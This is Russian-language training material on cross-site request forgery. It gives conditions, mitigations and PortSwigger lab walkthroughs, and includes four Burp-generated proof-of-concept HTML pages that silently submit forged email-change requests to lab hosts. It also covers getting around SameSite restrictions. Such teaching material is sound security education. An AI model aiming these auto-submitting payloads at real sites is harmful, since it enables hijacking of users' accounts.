## Материал для самостоятельного изучения Содержание: 1. Примеры уязвимого кода 2. Примеры атак и уязвимых приложений ## Примеры уязвимого кода Уязвимость требует от атакующего выполнять следующие условия: - Доставка эксплойта через уязвимость html injection/XSS (желательно) - Пользователь должен иметь валидный идентификатор сессии в браузере Визуально данные в исходном коде выделяться не будут, обычно целью таких атак становятся те части приложения, которые управляют критичной работой приложения: 1. Удаление данных 2. Конфигурация учетной записи 3. Любой функционал, который даёт возможность менять состояние системы и раскрывать данные Митигации уязвимости дожны применяться совместно с разюьением функционала приложения по критичности использования. Митигации можно найти в презентации занятия в сжатом виде. Развернуто митигации описаны [тут](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html). ## Примеры атак и уязвимых приложений Задача всех вариантов атак - подготовка данных, которые необходимо предоставить приложению для выполнения действия. Атакующий доолжен так сформировать набор данных, чтобы пользлователь мог только открыть страницу с уязвимостью и браузер автоматически выполнил все действия. Обычно берут для таких задач кусок кода френтенда, который используется в качестве интерфейса со стороны пользователя и прописывают значения по-умолчанию. Автоматизация отправки запросов при этом осуществляется через Javascrpit. Так же существует возможность автоматической генерации отправки запросов. Генерация возможна с использованием burp Professional: ![](https://i.imgur.com/t5dvNMZ.png) Варианты тестовых данных: ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a2d009004f8218ac086389800e10085.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="test&#64;test&#46;com" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` Вариант №2 - испоьзуется только для последних версий браузеров ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/0a2d009004f8218ac086389800e10085.web-security-academy.net\/my-account\/change-email", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "email=test%40test.com"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> ``` Проблема всех кодов полезной нагрузки - SOP и SameSite Cookie флаги. Первую обходят через использования отправки формы и автоматического прокликивания через JS, второе только по уязвимым параметрам. Если не используются Strict значение. Автоматизировать поиск проблем можно через плагин CSRF Scanner. В нем есть возможность в фоне производить сканирование уязвимых запросов. Для конфигурации запросов создается отдельная вкладка: ![](https://i.imgur.com/vlrNpIE.png) Для работы расширения нужно прописать Scope. После этого рядом с доменом на вкладке Target будут появляться сообщения об используемом токене. ![](https://i.imgur.com/v85FG7T.png) #### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method Вариант уязвимого приложения, которое не содержит проверки токена для отправки данных с формы. При этом алгоритм принимает несколько методов. С помощью плагина или через engagment tools можно локализовать все запросы с CSRF токеном и начать тест. В уязвимом приложении такой зарос 1: ![](https://i.imgur.com/XRRJMsS.png) Поменяем метод: ![](https://i.imgur.com/gjPROLL.png) Сгенерируем полезную нагрузку, не забудьте проставить опцию `Include auto-submit script`: тиоговые данные для проведения атаки: ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0aa30042045235e0c0e9e23100e6005b.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="test&#64;test&#46;com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` #### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present Приложение не отслеживает, что токен был убран из параметров. Последовательность теста дальше происходит по тому же сценарию. Для эксплуатации уязвимости можно использовать тот жe payload, что и в прошлом задании, но с методом POST: ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a10009c04b79178c0ef115e003500bb.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="test&#64;test&#46;com" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` ### Полезные ссылки - https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection